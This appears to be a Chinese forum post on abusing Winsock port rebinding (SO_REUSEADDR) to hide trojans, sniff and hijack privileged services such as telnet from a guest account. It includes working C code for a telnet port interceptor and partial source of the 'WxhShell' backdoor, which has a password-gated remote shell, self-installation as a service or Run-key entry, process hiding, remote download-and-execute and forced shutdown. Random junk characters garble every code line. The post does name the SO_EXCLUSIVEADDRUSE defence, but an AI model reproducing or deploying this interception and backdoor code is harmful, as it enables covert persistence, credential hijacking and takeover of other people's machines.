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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tQas_K5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7ug"SV6Hb  
/l_u $"  
  saddr.sin_family = AF_INET; f;AI4:#I  
7hTpjox2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?Yzw]ag.  
R9!U _RH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k||dX(gl  
V~p01f"J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ln+.=U6Tm  
*V4%&&{  
  这意味着什么?意味着可以进行如下的攻击: *<X1M~p$  
',K:.$My  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9 p{n7.  
z%#-2&i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L^*f$Balz  
,J,Rup">h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 No)0|C8:  
(T%?@'\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  eL~3CAV{  
{2YqEX-I*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %}e['d h  
HNCu:$Wr@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c@Br_ -  
J e,o(:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y0`; br\X  
;0Q" [[J  
  #include OGIv".~s4  
  #include x;<0Gg~jB  
  #include NyT%S?@y<  
  #include    @HPr;m!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OTE,OCB[  
  int main() IT{c:jo1{`  
  { PpKjjA<  
  WORD wVersionRequested; zyhM*eM.7  
  DWORD ret; ^b$_I31D  
  WSADATA wsaData; (qvH=VTwP  
  BOOL val; jXLd#6  
  SOCKADDR_IN saddr; o$eCd{HuX  
  SOCKADDR_IN scaddr; ;mT}Q;F#  
  int err; : NA(nA 3  
  SOCKET s; 3UaW+@  
  SOCKET sc; ^ghYi|kQq  
  int caddsize; qxDMDMN  
  HANDLE mt; "T{WOGU+  
  DWORD tid;   Km $o@  
  wVersionRequested = MAKEWORD( 2, 2 ); }Nd1'BVf  
  err = WSAStartup( wVersionRequested, &wsaData ); >}\s-/  
  if ( err != 0 ) { >$TvCw  
  printf("error!WSAStartup failed!\n"); "[!b5f3!I  
  return -1; ' tY(&&  
  } +<.o,3  
  saddr.sin_family = AF_INET; EQ ee5}  
   qB (Pqv  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #>("(euXMF  
f}"eN/T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bm 4RRI  
  saddr.sin_port = htons(23); Y!_{:2H8p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PPH;'!>s"  
  { ch :rAx  
  printf("error!socket failed!\n"); Sc/l.]k+  
  return -1; u*): D~A  
  } W#~7X  
  val = TRUE; kl]MP}wc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '~Cn+xf4]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )v_v 7 ~H&  
  { tT>LOI_z  
  printf("error!setsockopt failed!\n"); %4),P(4N  
  return -1; }x\#ul)  
  } eA86~M?<o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pB\:.?.pd  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DqT<bNR1*;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y(bB7tR  
cz1+ XpU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ij;NM:|Sd  
  { `(h^z>%  
  ret=GetLastError(); nAWb9Yk  
  printf("error!bind failed!\n"); Te L&6F$  
  return -1; |(Mxbprz  
  } {'tfU  
  listen(s,2); $BMXjXd}  
  while(1) xi(1H1KN5B  
  { 'fl< ac,.  
  caddsize = sizeof(scaddr); 9D+k71"+  
  //接受连接请求 OPDT:e86Y=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zmGHI! tP  
  if(sc!=INVALID_SOCKET) +T@BOYhgq  
  { Hp04apM:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8 5X}CCQ  
  if(mt==NULL) lUB?eQuN_  
  { rAfz?  
  printf("Thread Creat Failed!\n"); y ;Cs#eo  
  break; F`m}RL]g  
  } o=_7KWOA  
  } -yBKA]"<I  
  CloseHandle(mt); '"E!av>  
  } !e$ZOYe  
  closesocket(s); T2S_> #."l  
  WSACleanup(); PXYLL X\3  
  return 0; cJaA*sg  
  }   yy=hCjQ)  
  DWORD WINAPI ClientThread(LPVOID lpParam) $ mE* =  
  { 4h@,hY1#  
  SOCKET ss = (SOCKET)lpParam; !(F?`([A  
  SOCKET sc; lbda/Zx  
  unsigned char buf[4096]; UjQz   
  SOCKADDR_IN saddr; _\X ,a5Un  
  long num; sdZ$3oE.  
  DWORD val; BP@tI|  
  DWORD ret; 0|Fx Sc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'Og@<~/Xy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zplv.cf#q  
  saddr.sin_family = AF_INET; 88v8lt;R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `!Z?F]):G  
  saddr.sin_port = htons(23); <`uu e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [oV M9 Q  
  { Pd~=:4  
  printf("error!socket failed!\n"); 2$5">%?  
  return -1; +FqD.=8  
  } >-I <`y-H  
  val = 100; XLt/$Caf  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IS&qFi}W|W  
  { AJ7^'p9Y  
  ret = GetLastError(); @!fUp b  
  return -1; &]o-ZZX  
  } h'-4nu;*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8C@u+tx  
  { (Of6Ij?  
  ret = GetLastError(); W+!UVUpW  
  return -1; ?'TK~,dG/  
  } isL zgN%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7j\^h2  
  { HK/WO jr  
  printf("error!socket connect failed!\n"); "u7[[.P)  
  closesocket(sc); GLtd<M"  
  closesocket(ss); H_ $?b  
  return -1; aYaEy(m  
  } -i:WA^yKgw  
  while(1) =WT$\KYGv  
  { L T$U z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iibG$?(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cDY)QUmi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Sc[#]2 }  
  num = recv(ss,buf,4096,0); s) ]j X  
  if(num>0) qX-ptsQ  
  send(sc,buf,num,0); tJ6@Ot  
  else if(num==0) J;>epM ;*  
  break; .@,t}:lD  
  num = recv(sc,buf,4096,0); d#0:U Y%~  
  if(num>0) /%&  d:  
  send(ss,buf,num,0); dR]-R/1|  
  else if(num==0) m}wn+R  
  break; T06(Q[)  
  } Q 84t=  
  closesocket(ss); D8wf`RUt  
  closesocket(sc); W]oD(eZ  
  return 0 ; ae sk.  
  } a ~v$ bNu  
G^ W0!u,@  
89LD:+p/  
========================================================== X!Z)V)@J8  
{oqbV#/&  
下边附上一个代码,,WXhSHELL %42a>piev  
r& a[ ?  
========================================================== G(a5@9F  
wu.l-VmGp)  
#include "stdafx.h" [j0[c9.p [  
|MZ1j(_  
#include <stdio.h> T ?[28|  
#include <string.h> 1 jidBzu<  
#include <windows.h> 8D )nM|  
#include <winsock2.h> C>+n>bH]L  
#include <winsvc.h> =o##z5j K  
#include <urlmon.h> jjV'`Vy)  
\s*M5oN]]  
#pragma comment (lib, "Ws2_32.lib") y8~OkdlN#  
#pragma comment (lib, "urlmon.lib") SCcvU4`o  
\ZLi Y  
#define MAX_USER   100 // 最大客户端连接数 :0l+x 0l}  
#define BUF_SOCK   200 // sock buffer #h[>RtP:  
#define KEY_BUFF   255 // 输入 buffer (I}owr5:  
w[-)c6JyE  
#define REBOOT     0   // 重启 wN!\$i@E:  
#define SHUTDOWN   1   // 关机 * hs&^G  
DU%E883  
#define DEF_PORT   5000 // 监听端口 5I2,za&e  
src9EeiV  
#define REG_LEN     16   // 注册表键长度 blgA`)GI  
#define SVC_LEN     80   // NT服务名长度 27D*FItc  
TWpw/osW  
// 从dll定义API = J;I5:J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S/`#6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ez'NHodwk2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MV"n{1B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ] ]U)wg  
%b^4XTz  
// wxhshell配置信息 @A1f#Ed<  
struct WSCFG { $t;:"i>  
  int ws_port;         // 监听端口 Hx gC*-A$/  
  char ws_passstr[REG_LEN]; // 口令 s6|'s<x"j  
  int ws_autoins;       // 安装标记, 1=yes 0=no  :RnUNz  
  char ws_regname[REG_LEN]; // 注册表键名 ~b~Tq  
  char ws_svcname[REG_LEN]; // 服务名 j9h/`Bn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Uqel UL}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E#KZZ lbx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l}uZxKuYx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oK\zyNK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hU$o^ICH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H d|p@$I  
a yoC]rE  
}; R2Tt6  
^!\1q<@n  
// default Wxhshell configuration #"UO`2~`l  
struct WSCFG wscfg={DEF_PORT, X hq ss),  
    "xuhuanlingzhe", H@uu;:l<7A  
    1, w6V/Xp][U  
    "Wxhshell", ;|Mfq` s  
    "Wxhshell", WA (x]""  
            "WxhShell Service", y47N(;vy  
    "Wrsky Windows CmdShell Service", \V$qAfP)  
    "Please Input Your Password: ", _Xd"'cXw  
  1, \}jA1oy  
  "http://www.wrsky.com/wxhshell.exe", 3*h"B$g!  
  "Wxhshell.exe" O-V|=t  
    }; DPT6]pl"y  
sjyr9AF  
// 消息定义模块 /2Wg=&H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BXYHJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Am F[#)90P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vu+g65"  
char *msg_ws_ext="\n\rExit."; Ah2 {kK  
char *msg_ws_end="\n\rQuit."; _2jL]mB  
char *msg_ws_boot="\n\rReboot..."; PB@IPnB-  
char *msg_ws_poff="\n\rShutdown..."; Vg NB^w  
char *msg_ws_down="\n\rSave to "; N\PdX$  
Ur])*#  
char *msg_ws_err="\n\rErr!"; b{<?E };%  
char *msg_ws_ok="\n\rOK!"; YCDH0M  
SI!A?34  
char ExeFile[MAX_PATH]; |P>7C  
int nUser = 0; # sw4)*v  
HANDLE handles[MAX_USER]; T<B}Z11R  
int OsIsNt; 4QA~@pBX^{  
!_ W/p`Tc  
SERVICE_STATUS       serviceStatus; s/7Z.\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =%m{|HQ`  
J#$U<`j*G  
// 函数声明 ^bv^&V&IB  
int Install(void); 3jAr"xc  
int Uninstall(void); O t)}:oG  
int DownloadFile(char *sURL, SOCKET wsh); X84T F~2Y  
int Boot(int flag); =cEsv&i  
void HideProc(void); ~M}{rl.n=  
int GetOsVer(void); }b\hRy~=r  
int Wxhshell(SOCKET wsl); "-=fi 'D  
void TalkWithClient(void *cs); =Dq&lm,n  
int CmdShell(SOCKET sock); ^m#tWb)f  
int StartFromService(void); T [SK>z  
int StartWxhshell(LPSTR lpCmdLine); )$!b`u  
*S}@DoXS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $Lp [i <O]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OIPY,cj~  
u!K1K3T6k  
// 数据结构和表定义 hS,&Nj+  
SERVICE_TABLE_ENTRY DispatchTable[] = xF[%R{Mn'  
{ mXz*Gi  
{wscfg.ws_svcname, NTServiceMain}, `6~0W5  
{NULL, NULL} uHKEt[PS$  
}; *a Z1 4  
U823q-x  
// 自我安装 M8~3 0L  
int Install(void) FaeKDbLJr  
{ 9vV==A#  
  char svExeFile[MAX_PATH]; vaB ql(?'2  
  HKEY key; 4 . 7X*1  
  strcpy(svExeFile,ExeFile); / dJz?0  
hVF^ "$  
// 如果是win9x系统,修改注册表设为自启动 3:iEt (iCI  
if(!OsIsNt) { S"&Gutu3o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >`AK'K8{M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~2Wus8X-  
  RegCloseKey(key); #Nh'1@@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EnWv9I<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -Rpra0o. C  
  RegCloseKey(key); <[[yV  
  return 0; m#'eDO:  
    } UQu6JkbLL  
  } :(A&8<}-6  
} MKfK9>a  
else { /0/ouA>+  
D|ceZ <9x  
// 如果是NT以上系统,安装为系统服务 Eiu/p&ct  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2K9X (th1  
if (schSCManager!=0) r!&174DSR1  
{ B@(d5i{h  
  SC_HANDLE schService = CreateService pWxk^qhe/  
  ( _RaE: )  
  schSCManager, 3 2z4G =l  
  wscfg.ws_svcname, u ]"fwkL  
  wscfg.ws_svcdisp, 67(s\  
  SERVICE_ALL_ACCESS, ^.6yzlY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )g'J'_Sl  
  SERVICE_AUTO_START, V*@aE  
  SERVICE_ERROR_NORMAL, 5REFz  
  svExeFile, 0OM^,5%8  
  NULL, M=raKb?F  
  NULL, p3Ux%/ZqPV  
  NULL, \#,2#BmO"E  
  NULL, vW &G\L  
  NULL 2p&$bf t  
  ); @*y4uI6&  
  if (schService!=0) Z{B  e  
  { W4o8]&A  
  CloseServiceHandle(schService); r.e K;  
  CloseServiceHandle(schSCManager); \x-2qlZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RHFRN&RU$  
  strcat(svExeFile,wscfg.ws_svcname); H0s*Lb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cANt7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cTq@"v di  
  RegCloseKey(key); 4G,FJjE`p  
  return 0; gHPJiiCv  
    } @mCe{r*`  
  } 4;AF\De  
  CloseServiceHandle(schSCManager); $bG*f*w  
} Br!;Ac&N  
} d}Pfj=W  
><}nZ7  
return 1; 7Vy_Cec1  
} +E</A:|}S  
x[58C+  
// 自我卸载 ;y,g%uqE  
int Uninstall(void) 3/+kjY/  
{ U\P4ts  
  HKEY key; $rXCNew(  
,,u hEoH  
if(!OsIsNt) { ;8^k=8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H1c8]}  
  RegDeleteValue(key,wscfg.ws_regname); {g.YGO  
  RegCloseKey(key); YIRe__7-NU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n}UJ - \$  
  RegDeleteValue(key,wscfg.ws_regname); TX=894{nGh  
  RegCloseKey(key); _p6 r5Y  
  return 0; K? o p3}f?  
  } |aP`hVm  
} ;d}>8w&tfy  
} l6bY!I>  
else { EsKgS\`RZ  
3*<@PXpK&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \1Y|$:T/  
if (schSCManager!=0) kf'(u..G  
{ ^y@ W\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  $U?]^  
  if (schService!=0) 7n#-3#_mG  
  { b#?sx"z  
  if(DeleteService(schService)!=0) { `o{ Z;-OF  
  CloseServiceHandle(schService); -| FHv+  
  CloseServiceHandle(schSCManager); JP Zp*5c6A  
  return 0; iHhdoY[]  
  } nriSVGi  
  CloseServiceHandle(schService); OdFF)-K >~  
  } i(|u g_^  
  CloseServiceHandle(schSCManager); nod&^%O"  
} rNk'W,FU  
} #r#[&b  
]jD\4\M}  
return 1; 1Rd|P<y  
} -rU_bnm  
\OVFZ D  
// 从指定url下载文件 Z5'^81m$o  
int DownloadFile(char *sURL, SOCKET wsh) NWn*_@7;  
{ 1Of(O!  
  HRESULT hr; B<I(t"s  
char seps[]= "/"; hZ1enej)  
char *token; lNxP  
char *file; |p/ *OFC6  
char myURL[MAX_PATH]; /p<9C?  
char myFILE[MAX_PATH]; `o#(YEu  
inU5eronuj  
strcpy(myURL,sURL); x\Q}fk?{t  
  token=strtok(myURL,seps); A8.noV  
  while(token!=NULL) 6m$X7;x}  
  { <KX9>e  
    file=token; LY0f`RX*&  
  token=strtok(NULL,seps); Ibz9j uY  
  } yo[Sh6r/9b  
|^-D&C(Eu  
GetCurrentDirectory(MAX_PATH,myFILE); 7nT|yL?  
strcat(myFILE, "\\"); Nqj@p<y/q  
strcat(myFILE, file); 4 *}H3-`  
  send(wsh,myFILE,strlen(myFILE),0); MZ}0.KmaZ  
send(wsh,"...",3,0); T */I4"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r{.pXf  
  if(hr==S_OK) j;.P  
return 0; B}TY+@  
else i6HRG\9nU  
return 1; ow \EL  
e$s&B!qJ  
} XnP?hw%  
Z5v_- +K  
// 系统电源模块 8p 4[:M@  
int Boot(int flag) 1*p6UR&  
{ = z mxki  
  HANDLE hToken; >fYcr#i0[  
  TOKEN_PRIVILEGES tkp; (H uvo9  
fJ8>nOh  
  if(OsIsNt) { Q`*U U82!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <5G(Y#s/?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )f$4: Pq  
    tkp.PrivilegeCount = 1; L6CI9C;-b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bIGcszWr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !(q@sw(  
if(flag==REBOOT) { ?'~u)O(n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 68P'<|u?  
  return 0; (qFZF7(Xa  
} Lan|(!aW  
else { t)j$lmQn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MxpAh<u!vF  
  return 0; n>pJ/l%`  
} E@C.}37R  
  } :oy2mi;  
  else { {xg=Ym)  
if(flag==REBOOT) { *KNfPh#wi}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9~`#aQG T  
  return 0; xwo *kFg  
} wKi#5k2  
else { ^S`hKv&87  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2n3&uvf'TL  
  return 0; f5F-h0HF`[  
} I;rW!Hb  
} B0yJ9U= Fj  
C5^WJx[  
return 1; q>(?Z#sB  
} ((`\i=-o5  
)&T 5 /+  
// win9x进程隐藏模块 FDgo6x   
void HideProc(void) t#(=$  
{ |kh{EUE ;  
EHq; eF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HXT"&c|  
  if ( hKernel != NULL ) -6J <{1V  
  { MUbKlX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zlP{1z;nV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _LZ(HTX~  
    FreeLibrary(hKernel); l| uiC%T  
  } Rw `ezC#  
 [{2v}  
return; ;-"!p  
}  lha;|  
&iWTf K7  
// 获取操作系统版本 FbuWFC  
int GetOsVer(void) <5%*"v  
{ IT:WiMDQ}  
  OSVERSIONINFO winfo; CN(-Jd.b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ud+,/pE>FA  
  GetVersionEx(&winfo); /1Gmga5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #W8F_/!n|  
  return 1; c/88|k  
  else JYj*.Q0  
  return 0; e 1XKlgl  
} tXA?[ S  
\dU.#^ryp  
// 客户端句柄模块 p#qla'  
int Wxhshell(SOCKET wsl) MS#"TG/)  
{ A-1K TD  
  SOCKET wsh; z&0[F`U  
  struct sockaddr_in client; &Ih }"  
  DWORD myID; ,sSo\%  
w tGS"L  
  while(nUser<MAX_USER) g%= K rO  
{ fsPsP`|  
  int nSize=sizeof(client); Q\s+w){f%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rD21:1s  
  if(wsh==INVALID_SOCKET) return 1; ShL!7y*rT{  
F(.`@OO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oUsfO-dET^  
if(handles[nUser]==0) 7:F0?l*  
  closesocket(wsh); EGI$=Y  
else HqsqUS3[  
  nUser++; [2xu`HT02  
  } Y[)mHs2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nHeJ20  
j]&Qai~}Y  
  return 0; GU`q^q@Ea  
} ?i_/f}.K  
} Ifa5Lq)  
// 关闭 socket p>pN?53S  
void CloseIt(SOCKET wsh) ' *XIp:  
{ l?"^2in .  
closesocket(wsh); sg-^ oy*^  
nUser--; |WS@q'  
ExitThread(0); l8(9?!C  
} #Tzs9Bkaca  
~Y f8,m  
// 客户端请求句柄 u9Adu`  
void TalkWithClient(void *cs) B&B4 P  
{ %6@)fRw  
zjA#8;h~w  
  SOCKET wsh=(SOCKET)cs; pHb,*C</  
  char pwd[SVC_LEN]; DjaXJ?'  
  char cmd[KEY_BUFF]; Y?1T XsvF  
char chr[1]; ZzBaYoNy[0  
int i,j; Y*pXbztP  
V?*fl^f  
  while (nUser < MAX_USER) { b=BNbmX  
8J&9}@y  
if(wscfg.ws_passstr) { h #gI1(uL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +C;;4s)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [4C_iaE  
  //ZeroMemory(pwd,KEY_BUFF); d , g~.iS~  
      i=0; %pWJ2J@  
  while(i<SVC_LEN) { CLZ j=J2  
>0:3CpO*  
  // 设置超时 O[$X36z  
  fd_set FdRead; ?glx8@  
  struct timeval TimeOut; N:Q.6_%^  
  FD_ZERO(&FdRead); `L$Av9X\  
  FD_SET(wsh,&FdRead); QZ(O2!Mg  
  TimeOut.tv_sec=8; ?uc]Wgw"s  
  TimeOut.tv_usec=0; NG3:=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [u*7( 4e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :j3^p8]  
yj'lHC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > .}G[C  
  pwd=chr[0]; |O)ZjLx  
  if(chr[0]==0xd || chr[0]==0xa) { B>'J5bZsw  
  pwd=0; ]U~{?K'g@j  
  break; e`][zx  
  } 4J`-&05O  
  i++; K)x6F 15r  
    } H@zZ[  
% +  
  // 如果是非法用户,关闭 socket |UlR+'rl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); + AjV0#n  
} c99|+i50  
XFs7kTY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  :Kyr}-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9wc\~5{li  
=>>Dnp  
while(1) { K)l*$h&-  
D`Vb3aNB=L  
  ZeroMemory(cmd,KEY_BUFF); E)Qg^DHP/  
 h8p{  
      // 自动支持客户端 telnet标准   Xo(W\Pes  
  j=0; JcP<@bb>B  
  while(j<KEY_BUFF) { HL[V}m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S.iUiS"  
  cmd[j]=chr[0]; `ba<eT':  
  if(chr[0]==0xa || chr[0]==0xd) { <l,e6K  
  cmd[j]=0; c|m?f  
  break; tMU10=d  
  } @ >'Wiq!  
  j++; S9[Up}`  
    } ?5Z-w  
HW_2!t_R  
  // 下载文件 8  rE`  
  if(strstr(cmd,"http://")) { bg9_$laDi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dUn]aS  
  if(DownloadFile(cmd,wsh)) [Z'4YXS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2>x[_  
  else /^{Q(R(X<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Smy J@.L"  
  } 4 }_}3.  
  else { u-n$%yDS  
ZA_~o#0%  
    switch(cmd[0]) { $h k_v~zM  
  >>R)?24,<  
  // 帮助  ;1,#rTs  
  case '?': { +LWgby4q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); # 6?2 2Os  
    break; WH $*\IGJL  
  } *x#5S.i1  
  // 安装 ?OO !M  
  case 'i': { ,-$%>Uv   
    if(Install()) 23;\l   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eon(C|S7eK  
    else Z^A(Q>{e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }EfRYE$E  
    break; =&4eW#{LuH  
    } T8T,G4Q  
  // 卸载 _mQ~[}y+?  
  case 'r': { {![E)~  
    if(Uninstall()) bDw\;bnG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |QH )A  
    else z}VCiS0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [)[?FG9   
    break; +C`vO5\0  
    } ;''S} ;  
  // 显示 wxhshell 所在路径 \FO 4A  
  case 'p': { odcrP\S  
    char svExeFile[MAX_PATH]; jP3~O  
    strcpy(svExeFile,"\n\r"); blbzh';0}  
      strcat(svExeFile,ExeFile); 'i/"D8  
        send(wsh,svExeFile,strlen(svExeFile),0); kc2E4i  
    break; {;UBW7{  
    } t nmz5Q  
  // 重启 ? zic1i  
  case 'b': { [.G~5%974  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q6X}R,KA1  
    if(Boot(REBOOT)) -Xgup,}?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aJNsJIY+  
    else { E&W4`{6K4  
    closesocket(wsh); .W-=VzWX  
    ExitThread(0); 1-4*YrA  
    } 9Cb>J  
    break; Me,AE^pgL'  
    } /8(t:  
  // 关机 IP 1{gMG  
  case 'd': { 9JC8OSjJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !.{{QwZ  
